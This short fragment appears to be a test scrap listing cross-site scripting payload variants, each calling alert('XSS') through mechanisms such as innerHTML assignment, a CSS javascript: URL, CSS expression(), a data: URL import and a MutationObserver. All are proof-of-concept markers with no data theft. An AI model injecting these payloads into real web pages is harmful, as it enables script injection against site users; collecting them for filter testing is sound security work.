asdasdasd

alert('XSS')

ws.send("alert('XSS')");

const observer = new MutationObserver(() => alert('XSS'));
observer.observe(document.body, { childList: true });

import('data:text/javascript,alert("XSS")');

Click me

alert('XSS')

background: url("javascript:alert('XSS')");

var userInput = "alert('XSS')"; document.body.innerHTML = userInput; {"key": "alert('XSS')"} Click me

body { background: expression(alert('XSS')); }